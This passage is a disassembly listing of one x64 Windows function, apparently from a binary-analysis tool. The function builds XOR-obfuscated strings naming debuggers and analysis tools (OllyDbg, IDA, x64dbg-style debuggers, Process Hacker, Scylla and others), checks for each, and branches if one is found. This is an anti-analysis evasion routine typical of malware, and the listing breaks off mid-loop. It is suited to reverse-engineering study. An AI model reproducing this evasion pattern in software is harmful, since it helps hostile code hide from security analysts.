Function at 0x140022a40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rbp + 0xe8], rax
xor edx, edx
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001420
movzx r13d, al
mov byte [rsp + 0x7f], al
mov edx, 4
mov cl, 0x64
call fcn.140001420
movzx r15d, al
mov byte [rsp + 0x52], al
mov edx, 1
mov cl, 0x6c
call fcn.140001420
movzx r8d, al
mov byte [rsp + 0x4e], al
mov edx, 2
call fcn.140001420
movzx r9d, al
mov byte [rsp + 0x4f], al
mov edx, 3
mov cl, 0x79
call fcn.140001420
movzx r10d, al
mov byte [rsp + 0x50], al
mov edx, 5
mov cl, 0x62
call fcn.140001420
movzx r11d, al
mov byte [rsp + 0x53], al
mov edx, 6
mov cl, 0x67
call fcn.140001420
movzx r14d, al
mov byte [rsp + 0x51], al
mov edx, 7
mov cl, 0x2e
call fcn.140001420
movzx ebx, al
mov byte [rsp + 0x30], al
mov edx, 8
mov cl, 0x65
call fcn.140001420
movzx edi, al
mov byte [rsp + 0x31], al
mov edx, 9
mov cl, 0x78
call fcn.140001420
movzx esi, al
mov byte [rsp + 0x33], al
mov edx, 0xa
mov cl, 0x65
call fcn.140001420
movzx r12d, al
mov byte [rsp + 0x32], al
nop dword [rax]
mov byte [rbp + 0x40], r13b
mov byte [rbp + 0x41], r8b
mov byte [rbp + 0x42], r9b
mov byte [rbp + 0x43], r10b
mov byte [rbp + 0x44], r15b
mov byte [rbp + 0x45], r11b
mov byte [rbp + 0x46], r14b
mov byte [rbp + 0x47], bl
mov byte [rbp + 0x48], dil
mov byte [rbp + 0x49], sil
mov byte [rbp + 0x4a], r12b
xor eax, eax
mov byte [rbp + 0x4b], al
movsxd rcx, eax
lea rdx, [rbp + 0x40]
add rdx, rcx
lea ecx, [rax + 0x13]
xor byte [rdx], cl
inc eax
cmp eax, 0xb
jb 0x140022b80
mov byte [rbp + 0x4b], 0
lea rcx, [rbp + 0x40]
call fcn.140022990
test al, al
jne 0x140024152
xor edx, edx
mov cl, 0x69
call fcn.140001420
mov byte [rsp + 0x3c], al
mov byte [rbp - 0x10], al
mov edx, 1
mov cl, 0x64
call fcn.140001420
mov byte [rsp + 0x38], al
mov byte [rbp - 0xf], al
mov edx, 2
mov cl, 0x61
call fcn.140001420
mov byte [rsp + 0x34], al
mov byte [rbp - 0xe], al
mov edx, 3
mov cl, 0x71
call fcn.140001420
movzx ebx, al
mov byte [rbp - 0xd], al
mov edx, 4
mov cl, 0x36
call fcn.140001420
mov byte [rbp - 0xc], al
mov edx, 5
mov cl, 0x34
call fcn.140001420
mov byte [rbp - 0xb], al
mov edx, 6
mov cl, 0x2e
call fcn.140001420
mov byte [rsp + 0x39], al
mov byte [rbp - 0xa], al
mov edx, 7
mov cl, 0x65
call fcn.140001420
movzx edi, al
mov byte [rsp + 0x37], al
mov byte [rbp - 9], al
mov edx, 8
mov cl, 0x78
call fcn.140001420
mov byte [rsp + 0x3a], al
mov byte [rbp - 8], al
mov edx, 9
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x35], al
mov byte [rbp - 7], al
xor eax, eax
mov byte [rbp - 6], al
xor r8d, r8d
nop dword [rax + rax]
movsxd rcx, r8d
lea rdx, [rbp - 0x10]
add rdx, rcx
lea ecx, [r8 + 0x13]
xor byte [rdx], cl
inc r8d
cmp r8d, 0xa
jb 0x140022c70
mov byte [rbp - 6], al
lea rcx, [rbp - 0x10]
call fcn.140022990
test al, al
jne 0x140024233
xor edx, edx
mov cl, 0x48
call fcn.140001420
mov byte [rsp + 0x3d], al
mov byte [rbp - 0x58], al
mov edx, 1
mov cl, 0x78
call fcn.140001420
mov byte [rbp - 0x57], al
mov edx, 2
mov cl, 0x44
call fcn.140001420
mov byte [rbp - 0x56], al
mov edx, 3
mov cl, 0x2e
call fcn.140001420
movzx r12d, al
mov byte [rbp - 0x55], al
mov edx, 4
mov cl, 0x65
call fcn.140001420
movzx r15d, al
mov byte [rbp - 0x54], al
mov edx, 5
mov cl, 0x78
call fcn.140001420
movzx r13d, al
mov byte [rbp - 0x53], al
mov edx, 6
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x3b], al
mov byte [rbp - 0x52], al
xor eax, eax
mov byte [rbp - 0x51], al
xor r8d, r8d
nop
movsxd rcx, r8d
lea rdx, [rbp - 0x58]
add rdx, rcx
lea ecx, [r8 + 0x13]
xor byte [rdx], cl
inc r8d
cmp r8d, 7
jb 0x140022d20
mov byte [rbp - 0x51], al
lea rcx, [rbp - 0x58]
call fcn.140022990
test al, al
jne 0x140024223
xor edx, edx
mov cl, 0x52
call fcn.140001420
mov byte [rsp + 0x58], al
mov edx, 1
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x59], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001420
mov byte [rsp + 0x5a], al
mov edx, 3
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001420
mov byte [rsp + 0x44], al
mov byte [rsp + 0x5b], al
mov edx, 4
mov cl, 0x75
call fcn.140001420
mov byte [rsp + 0x5c], al
mov edx, 5
mov cl, WSAStartup
call fcn.140001420
mov byte [rsp + 0x5d], al
mov edx, 6
mov cl, 0x63
call fcn.140001420
mov byte [rsp + 0x7b], al
mov byte [rsp + 0x5e], al
mov byte [rsp + 0x5f], dil
mov edx, 8
mov cl, 0x48
call fcn.140001420
mov byte [rsp + 0x60], al
mov edx, 9
mov cl, 0x61
call fcn.140001420
movzx r14d, al
mov byte [rsp + 0x61], al
mov edx, 0xa
mov cl, 0x63
call fcn.140001420
mov byte [rsp + 0x62], al
mov edx, ntohs
mov cl, 0x6b
call fcn.140001420
mov byte [rsp + 0x63], al
mov edx, ntohs
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x79], al
mov byte [rsp + 0x64], al
mov edx, ntohs
mov cl, WSAStartup
call fcn.140001420
mov byte [rsp + 0x65], al
mov edx, ntohs
mov cl, 0x2e
call fcn.140001420
mov byte [rsp + 0x66], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x65
call fcn.140001420
movzx edi, al
mov byte [rsp + 0x67], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x78
call fcn.140001420
mov byte [rsp + 0x68], al
mov edx, select
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x69], al
xor eax, eax
mov byte [rsp + 0x6a], al
xor edx, edx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x58]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0x12
jb 0x140022e80
mov byte [rsp + 0x6a], 0
lea rcx, [rsp + 0x58]
call fcn.140022990
test al, al
jne 0x140024223
xor edx, edx
mov cl, 0x50
call fcn.140001420
mov byte [rsp + 0x42], al
mov byte [rbp - 0x78], al
mov edx, 1
mov cl, WSAStartup
call fcn.140001420
mov byte [rbp - 0x77], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001420
mov byte [rsp + 0x41], al
mov byte [rbp - 0x76], al
mov edx, 3
mov cl, 0x63
call fcn.140001420
mov byte [rsp + 0x7a], al
mov byte [rbp - 0x75], al
mov byte [rbp - 0x74], r15b
mov edx, 5
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001420
mov byte [rbp - 0x73], al
mov edx, 6
call fcn.140001420
mov byte [rsp + 0x45], al
mov byte [rbp - 0x72], al
mov edx, 7
mov cl, 0x48
call fcn.140001420
mov byte [rbp - 0x71], al
mov edx, 8
mov cl, 0x61
call fcn.140001420
mov byte [rsp + 0x78], al
mov byte [rbp - 0x70], al
mov edx, 9
mov cl, 0x63
call fcn.140001420
mov byte [rbp - 0x6f], al
mov edx, 0xa
mov cl, 0x6b
call fcn.140001420
mov byte [rbp - 0x6e], al
mov edx, ntohs
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x36], al
mov byte [rbp - 0x6d], al
mov edx, ntohs
mov cl, WSAStartup
call fcn.140001420
movzx esi, al
mov byte [rbp - 0x6c], al
mov edx, ntohs
mov cl, 0x2e
call fcn.140001420
mov byte [rsp + 0x49], al
mov byte [rbp - 0x6b], al
mov edx, ntohs
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x4a], al
mov byte [rbp - 0x6a], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x78
call fcn.140001420
mov byte [rsp + 0x4b], al
mov byte [rbp - 0x69], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x4c], al
mov byte [rbp - 0x68], al
xor eax, eax
mov byte [rbp - 0x67], al
xor r8d, r8d
movsxd rcx, r8d
lea rdx, [rbp - 0x78]
add rdx, rcx
lea ecx, [r8 + 0x13]
xor byte [rdx], cl
inc r8d
cmp r8d, 0x11
jb 0x140022fd0
mov byte [rbp - 0x67], al
lea rcx, [rbp - 0x78]
call fcn.140022990
test al, al
jne 0x14002413d
movzx eax, byte [rsp + 0x3c]
mov byte [rbp - 0x20], al
movzx eax, byte [rsp + 0x38]
mov byte [rbp - 0x1f], al
movzx eax, byte [rsp + 0x34]
mov byte [rbp - 0x1e], al
mov byte [rbp - 0x1d], bl
mov edx, 4
mov cl, 0x33
call fcn.140001420
mov byte [rbp - 0x1c], al
mov edx, 5
mov cl, 0x32
call fcn.140001420
mov byte [rbp - 0x1b], al
movzx eax, byte [rsp + 0x39]
mov byte [rbp - 0x1a], al
movzx ebx, byte [rsp + 0x37]
mov byte [rbp - 0x19], bl
movzx eax, byte [rsp + 0x3a]
mov byte [rbp - 0x18], al
movzx eax, byte [rsp + 0x35]
mov byte [rbp - 0x17], al
xor eax, eax
mov byte [rbp - 0x16], al
xor edx, edx
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x140023060
mov byte [rbp - 0x16], 0
lea rcx, [rbp - 0x20]
call fcn.140022990
test al, al
jne 0x14002413d
xor edx, edx
mov cl, 0x68
call fcn.140001420
mov byte [rbp - 0x78], al
mov edx, 1
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001420
mov byte [rsp + 0x3e], al
mov byte [rbp - 0x77], al
mov edx, 2
call fcn.140001420
mov byte [rsp + 0x43], al
mov byte [rbp - 0x76], al
mov edx, 3
mov cl, 0x70
call fcn.140001420
mov byte [rsp + 0x46], al
mov byte [rbp - 0x75], al
movzx eax, byte [rsp + 0x52]
mov byte [rbp - 0x74], al
mov edx, 5
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x47], al
mov byte [rbp - 0x73], al
mov edx, 6
mov cl, 0x62
call fcn.140001420
mov byte [rbp - 0x72], al
mov edx, 7
mov cl, 0x75
call fcn.140001420
mov byte [rbp - 0x71], al
mov edx, 8
mov cl, 0x67
call fcn.140001420
mov byte [rbp - 0x70], al
mov edx, 9
call fcn.140001420
mov byte [rbp - 0x6f], al
movzx eax, byte [rsp + 0x32]
mov byte [rbp - 0x6e], al
mov edx, ntohs
mov cl, WSAStartup
call fcn.140001420
mov byte [rsp + 0x40], al
mov byte [rbp - 0x6d], al
mov edx, ntohs
mov cl, 0x2e
call fcn.140001420
mov byte [rbp - 0x6c], al
mov edx, ntohs
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x48], al
mov byte [rbp - 0x6b], al
mov edx, ntohs
mov cl, 0x78
call fcn.140001420
mov byte [rbp - 0x6a], al
mov byte [rbp - 0x69], dil
xor eax, eax
mov byte [rbp - 0x68], al
xor edx, edx
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rbp + rcx - 0x78], al
inc edx
cmp edx, 0x10
jb 0x140023180
mov byte [rbp - 0x68], 0
lea rcx, [rbp - 0x78]
call fcn.140022990
test al, al
jne 0x14002413d
xor edx, edx
mov cl, 0x77
call fcn.140001420
mov byte [rsp + 0x58], al
mov edx, 1
mov cl, 0x69
call fcn.140001420
mov byte [rsp + 0x59], al
mov edx, 2
mov cl, WSAGetLastError
call fcn.140001420
mov byte [rsp + 0x7d], al
mov byte [rsp + 0x5a], al
mov edx, 3
mov cl, 0x64
call fcn.140001420
mov byte [rsp + 0x4d], al
mov byte [rsp + 0x5b], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001420
movzx edi, al
mov byte [rsp + 0x3f], al
mov byte [rsp + 0x5c], al
mov edx, 5
mov cl, 0x77
call fcn.140001420
mov byte [rsp + 0x5d], al
mov edx, 6
mov cl, WSAStartup
call fcn.140001420
mov byte [rsp + 0x5e], al
mov byte [rsp + 0x5f], bl
mov edx, 8
mov cl, WSAGetLastError
call fcn.140001420
mov byte [rsp + 0x60], al
mov byte [rsp + 0x61], r14b
mov edx, 0xa
mov cl, 0x6d
call fcn.140001420
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x63], al
mov byte [rsp + 0x64], sil
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x4a]
mov byte [rsp + 0x66], al
movzx eax, byte [rsp + 0x4b]
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x68], al
xor eax, eax
mov byte [rsp + 0x69], al
xor edx, edx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x58]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0x11
jb 0x140023290
mov byte [rsp + 0x69], 0
lea rcx, [rsp + 0x58]
call fcn.140022990
test al, al
jne 0x14002413d
xor edx, edx
mov cl, 0x4f
call fcn.140001420
movzx ebx, al
mov byte [rbp + 0x50], al
movzx eax, byte [rsp + 0x4e]
mov byte [rbp + 0x51], al
movzx eax, byte [rsp + 0x4f]
mov byte [rbp + 0x52], al
movzx eax, byte [rsp + 0x50]
mov byte [rbp + 0x53], al
mov edx, 4
mov cl, 0x44
call fcn.140001420
mov byte [rbp + 0x54], al
movzx eax, byte [rsp + 0x53]
mov byte [rbp + 0x55], al
movzx eax, byte [rsp + 0x51]
mov byte [rbp + 0x56], al
movzx eax, byte [rsp + 0x30]
mov byte [rbp + 0x57], al
movzx eax, byte [rsp + 0x31]
mov byte [rbp + 0x58], al
movzx esi, byte [rsp + 0x33]
mov byte [rbp + 0x59], sil
movzx eax, byte [rsp + 0x32]
mov byte [rbp + 0x5a], al
xor eax, eax
mov byte [rbp + 0x5b], al
xor edx, edx
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 0x50]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xb
jb 0x140023330
mov byte [rbp + 0x5b], 0
lea rcx, [rbp + 0x50]
call fcn.140022990
test al, al
jne 0x140024223
movzx r14d, byte [rsp + 0x3c]
mov byte [rbp - 0x50], r14b
movzx eax, byte [rsp + 0x38]
mov byte [rbp - 0x4f], al
movzx eax, byte [rsp + 0x34]
mov byte [rbp - 0x4e], al
mov byte [rbp - 0x4d], r12b
mov byte [rbp - 0x4c], r15b
mov byte [rbp - 0x4b], r13b
movzx esi, byte [rsp + 0x3b]
mov byte [rbp - 0x4a], sil
xor eax, eax
mov byte [rbp - 0x49], al
xor edx, edx
movsxd rax, edx
lea rcx, [rbp - 0x50]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 7
jb 0x140023391
mov byte [rbp - 0x49], 0
lea rcx, [rbp - 0x50]
call fcn.140022990
test al, al
jne 0x14002413d
xor edx, edx
mov cl, 0x78
call fcn.140001420
mov byte [rbp], al
mov edx, 1
mov cl, 0x39
call fcn.140001420
mov byte [rbp + 1], al
mov edx, 2
mov cl, 0x36
call fcn.140001420
mov byte [rbp + 2], al
movzx eax, byte [rsp + 0x4d]
mov byte [rbp + 3], al
mov edx, 4
mov cl, 0x62
call fcn.140001420
mov byte [rsp + 0x7e], al
mov byte [rbp + 4], al
mov edx, 5
mov cl, 0x67
call fcn.140001420
mov byte [rbp + 5], al
movzx eax, byte [rsp + 0x39]
mov byte [rbp + 6], al
movzx eax, byte [rsp + 0x37]
mov byte [rbp + 7], al
movzx eax, byte [rsp + 0x3a]
mov byte [rbp + 8], al
movzx r15d, byte [rsp + 0x35]
mov byte [rbp + 9], r15b
xor eax, eax
mov byte [rbp + 0xa], al
xor edx, edx
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x140023440
mov byte [rbp + 0xa], 0
lea rcx, [rbp]
call fcn.140022990
test al, al
jne 0x14002413d
movzx eax, byte [rsp + 0x42]
mov byte [rbp - 0x40], al
mov edx, 1
mov cl, 0x45
call fcn.140001420
mov byte [rbp - 0x3f], al
mov edx, 2
mov cl, 0x54
call fcn.140001420
mov byte [rbp - 0x3e], al
movzx eax, byte [rsp + 0x44]
mov byte [rbp - 0x3d], al
mov byte [rbp - 0x3c], dil
mov edx, 5
mov cl, 0x6c
call fcn.140001420
mov byte [rsp + 0x42], al
mov byte [rbp - 0x3b], al
movzx eax, byte [rsp + 0x45]
mov byte [rbp - 0x3a], al
movzx eax, byte [rsp + 0x30]
mov byte [rbp - 0x39], al
movzx edi, byte [rsp + 0x31]
mov byte [rbp - 0x38], dil
movzx eax, byte [rsp + 0x33]
mov byte [rbp - 0x37], al
movzx r12d, byte [rsp + 0x32]
mov byte [rbp - 0x36], r12b
xor eax, eax
mov byte [rbp - 0x35], al
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rbp + rcx - 0x40], al
inc edx
cmp edx, 0xb
jb 0x1400234f0
mov byte [rbp - 0x35], 0
lea rcx, [rbp - 0x40]
call fcn.140022990
test al, al
jne 0x140024148
movzx eax, byte [rsp + 0x3d]
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x3e]
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x46]
mov byte [rsp + 0x5b], al
mov edx, 4
mov cl, 0x41
call fcn.140001420
mov byte [rsp + 0x5c], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140001420
mov byte [rsp + 0x5d], al
mov edx, 6
mov cl, 0x61
call fcn.140001420
mov byte [rsp + 0x5e], al
mov edx, 7
mov cl, 0x6c
call fcn.140001420
mov byte [rsp + 0x5f], al
mov edx, 8
mov cl, 0x79
call fcn.140001420
mov byte [rsp + 0x60], al
mov edx, 9
mov cl, 0x7a
call fcn.140001420
mov byte [rsp + 0x61], al
mov byte [rsp + 0x62], r12b
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x63], al
mov edx, ntohs
mov cl, 0x53
call fcn.140001420
mov byte [rsp + 0x64], al
mov edx, ntohs
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001420
mov byte [rsp + 0x65], al
mov edx, ntohs
mov cl, 0x64
call fcn.140001420
mov byte [rsp + 0x66], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x56
call fcn.140001420
mov byte [rsp + 0x67], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x37
call fcn.140001420
mov byte [rsp + 0x68], al
mov edx, select
mov cl, 0x2e
call fcn.140001420
mov byte [rsp + 0x69], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x6a], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x78
call fcn.140001420
mov byte [rsp + 0x6b], al
mov edx, setsockopt
mov cl, 0x65
call fcn.140001420
mov byte [rsp + 0x6c], al
xor eax, eax
mov byte [rsp + 0x6d], al
xor edx, edx
movsxd rax, edx
lea rcx, [rsp + 0x58]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0x15
jb 0x140023640
mov byte [rsp + 0x6d], 0
lea rcx, [rsp + 0x58]
call fcn.140022990
test al, al
jne 0x140024148
mov byte [rbp + 0xc0], bl
mov edx, 1
mov cl, 0x70
call fcn.140001420
mov byte [rbp + 0xc1], al
mov edx, 2
mov cl, 0x65
call fcn.140001420
mov byte [rbp + 0xc2], al
mov edx, 3
mov cl, WSAGetLastError
call fcn.140001420
mov byte [rbp + 0xc3], al
mov edx, 4
mov cl, 0x20
call fcn.140001420
mov byte [rbp + 0xc4], al
mov edx, 5
mov cl, 0x53
call fcn.140001420
mov byte [rbp + 0xc5], al
mov byte [rbp + 0xc6], sil
mov edx, 7
mov cl, WSAStartup
call fcn.140001420
mov byte [rsp + 0x40], al
mov byte [rbp + 0xc7], al
mov edx, 8
mov cl, 0x76
call fcn.140001420
mov byte [rbp + 0xc8], al
mov byte [rbp + 0xc9], r15b
mov edx, 0xa
mov cl, WSAStartup
call fcn.140001420
mov byte [rbp + 0xca], al
mov edx, ntohs
mov cl, 0x20
call fcn.140001420
mov byte [rbp + 0xcb], al
mov edx, ntohs
mov cl, 0x78
call fcn.140001420
mov byte [rsp + 0x3b], al
mov byte [rbp + 0xcc], al
mov edx, ntohs
mov cl, 0x36
call fcn.140001420
mov byte [rbp + 0xcd], al
mov edx, ntohs
mov cl, 0x34
call fcn.140001420
mov byte [rbp + 0xce], al
xor eax, eax
mov byte [rbp + 0xcf], al
xor edx, edx
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 0xc0]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xf
jb 0x140023770
mov byte [rbp + 0xcf], 0
lea rcx, [rbp + 0xc0]
call fcn.140022990
test al, al
jne 0x140024148
mov byte [rbp - 0x30], r14b
movzx eax, byte [rsp + 0x38]
mov byte [rbp - 0x2f], al
movzx eax, byte [rsp + 0x34]
mov byte [rbp - 0x2e], al
mov edx, 3
mov cl, 0x36
call fcn.140001420
mov byte [rbp - 0x2d], al
mov edx, 4
mov cl, 0x34
call fcn.140001420
mov byte [rbp - 0x2c], al
mov edx, 5
mov cl, 0x2e
call fcn.140001420
mov byte [rbp - 0x2b], al
mov byte [rbp - 0x2a], sil
mov edx, 7
mov cl, 0x78
call fcn.140001420
movzx ebx, al
mov byte [rbp - 0x29], al
mov byte [rbp - 0x28], dil
xor eax, eax
mov byte [rbp - 0x27], al
xor r8d, r8d
nop word [rax + rax]
movsxd rcx, r8d
lea rdx, [rbp - 0x30]
add rdx, rcx
lea ecx, [r8 + 0x13]
xor byte [rdx], cl
inc r8d
cmp r8d, 9
jb 0x140023810
mov byte [rbp - 0x27], al
lea rcx, [rbp - 0x30]
call fcn.140022990
test al, al
jne 0x140024148
xor edx, edx
mov cl, 0x53
call fcn.140001420
movzx esi, al
mov byte [rbp + 0x10], al
mov edx, 1
mov cl, 0x63
call fcn.140001420
movzx r14d, al
mov byte [rbp + 0x11], al
mov edx, 2
mov cl, 0x79
call fcn.140001420
movzx r15d, al
mov byte [rbp + 0x12], al
mov edx, 3
mov cl, 0x6c
call fcn.140001420
movzx r12d, al
mov byte [rbp + 0x13], al
mov edx, 4
call fcn.140001420
movzx r13d, al
mov byte [rbp + 0x14], al
mov edx, 5
mov cl, 0x61
call fcn.140001420
movzx edi, al
mov byte [rbp + 0x15], al
mov edx, 6
mov cl, 0x5f
call fcn.140001420
mov byte [rbp + 0x16], al
mov byte [rbp + 0x17], bl
mov edx, 8
mov cl, 0x36
call fcn.140001420
mov byte [rbp + 0x18], al
mov edx, 9
mov cl, 0x34
call fcn.140001420
mov byte [rbp + 0x19], al
xor eax, eax
mov byte [rbp + 0x1a], al
xor edx, edx
nop
movsxd rax, edx
lea rcx, [rbp + 0x10]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x1400238e0
mov byte [rbp + 0x1a], 0
lea rcx, [rbp + 0x10]
call fcn.140022990
test al, al
jne 0x14002413d
xor edx, edx
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001420
mov byte [rsp + 0x7c], al
mov byte [rbp - 0x48], al
mov edx, 1
mov cl, WSAGetLastError
call fcn.140001420
mov byte [rbp - 0x47], al
movzx eax, byte [rsp + 0x41]
mov byte [rbp - 0x46], al
mov edx, 3
mov cl, 0x77
call fcn.140001420
mov byte [rbp - 0x45], al
mov edx, 4
mov cl, 0x6d
call fcn.140001420
mov byte [rbp - 0x44], al
mov byte [rbp - 0x43], dil
mov edx, 6
mov cl, WSAGetLastError
call fcn.140001420
mov byte [rbp - 0x42], al
xor eax, eax
mov byte [rbp - 0x41], al
xor edx, edx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x48]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 7
jb 0x140023970
mov byte [rbp - 0x41], 0
lea rcx, [rbp - 0x48]
call fcn.140022990
test al, al
jne 0x14002413d
xor edx, edx
mov cl, 0x76
call fcn.140001420
movzx ebx, al
mov byte [rsp + 0x3e], al
mov byte [rbp + 0x80], al
mov edx, 1
mov cl, 0x6d
call fcn.140001420
mov byte [rsp + 0x41], al
mov byte [rbp + 0x81], al
movzx eax, byte [rsp + 0x43]
mov byte [rbp + 0x82], al
movzx eax, byte [rsp + 0x44]
mov byte [rbp + 0x83], al
movzx eax, byte [rsp + 0x3f]
mov byte [rbp + 0x84], al
movzx eax, byte [rsp + 0x42]
mov byte [rbp + 0x85], al
movzx eax, byte [rsp + 0x45]
mov byte [rbp + 0x86], al
mov edx, 7
mov cl, 0x64
call fcn.140001420
mov byte [rbp + 0x87], al
mov edx, 8
mov cl, 0x2e
call fcn.140001420
mov byte [rsp + 0x3f], al
mov byte [rbp + 0x88], al
movzx eax, byte [rsp + 0x35]
mov byte [rbp + 0x89], al
mov edx, 0xa
mov cl, 0x78
call fcn.140001420
mov byte [rsp + 0x3d], al
mov byte [rbp + 0x8a], al
movzx eax, byte [rsp + 0x36]
mov byte [rbp + 0x8b], al
xor eax, eax
mov byte [rbp + 0x8c], al
xor r8d, r8d
nop dword [rax]
movsxd rcx, r8d
lea rdx, [rbp + 0x80]
add rdx, rcx
lea ecx, [r8 + 0x13]
xor byte [rdx], cl
inc r8d
cmp r8d, 0xc
jb 0x140023a60
mov byte [rbp + 0x8c], al
lea rcx, [rbp + 0x80]
call fcn.140022990
test al, al
jne 0x14002413d
mov byte [rbp - 0x80], sil
mov byte [rbp - 0x7f], r14b
mov byte [rbp - 0x7e], r15b
mov byte [rbp - 0x7d], r12b
mov byte [rbp - 0x7c], r13b
mov byte [rbp - 0x7b], dil
xor eax, eax
mov byte [rbp - 0x7a], al
xor edx, edx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x80]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 6
jb 0x140023ac0
mov byte [rbp - 0x7a], 0
lea rcx, [rbp - 0x80]
call fcn.140022990
test al, al
jne 0x14002413d
movzx eax, byte [rsp + 0x3c]
mov byte [rbp + 0x20], al
movzx eax, byte [rsp + 0x38]
mov byte [rbp + 0x21], al
movzx eax, byte [rsp + 0x34]
mov byte [rbp + 0x22], al
movzx eax, byte [rsp + 0x46]
mov byte [rbp + 0x23], al
mov edx, 4
mov cl, WSAStartup
call fcn.140001420
movzx r14d, al
mov byte [rbp + 0x24], al
mov edx, 5
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001420
movzx r13d, al
mov byte [rbp + 0x25], al
movzx eax, byte [rsp + 0x39]
mov byte [rbp + 0x26], al
movzx eax, byte [rsp + 0x37]
mov byte [rbp + 0x27], al
movzx eax, byte [rsp + 0x3a]
mov byte [rbp + 0x28], al
movzx eax, byte [rsp + 0x35]
mov byte [rbp + 0x29], al
xor eax, eax
mov byte [rbp + 0x2a], al
xor r8d, r8d
nop dword [rax]
movsxd rcx, r8d
lea rdx, [rbp + 0x20]
add rdx, rcx
lea ecx, [r8 + 0x13]
xor byte [rdx], cl
inc r8d
cmp r8d, 0xa
jb 0x140023b60
mov byte [rbp + 0x2a], al
lea rcx, [rbp + 0x20]
call fcn.140022990
test al, al
jne 0x14002413d
mov byte [rbp + 0xa0], bl
movzx r12d, byte [rsp + 0x41]
mov byte [rbp + 0xa1], r12b
mov edx, 2
mov cl, 0x77
call fcn.140001420
movzx ebx, al
mov byte [rbp + 0xa2], al
mov edx, 3
mov cl, 0x61
call fcn.140001420
movzx edi, al
mov byte [rbp + 0xa3], al
mov byte [rbp + 0xa4], r14b
movzx eax, byte [rsp + 0x47]
mov byte [rbp + 0xa5], al
mov edx, 6
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001420
mov byte [rbp + 0xa6], al
movzx eax, byte [rsp + 0x40]
mov byte [rbp + 0xa7], al
movzx eax, byte [rsp + 0x78]
mov byte [rbp + 0xa8], al
mov edx, 9
mov cl, 0x79
call fcn.140001420
mov byte [rbp + 0xa9], al
mov edx, 0xa
mov cl, 0x2e
call fcn.140001420
movzx esi, al
mov byte [rbp + 0xaa], al
movzx eax, byte [rsp + 0x36]
mov byte [rbp + 0xab], al
movzx eax, byte [rsp + 0x3b]
mov byte [rbp + 0xac], al
movzx eax, byte [rsp + 0x48]
mov byte [rbp + 0xad], al
xor eax, eax
mov byte [rbp + 0xae], al
xor r8d, r8d
nop word [rax + rax]
movsxd rcx, r8d
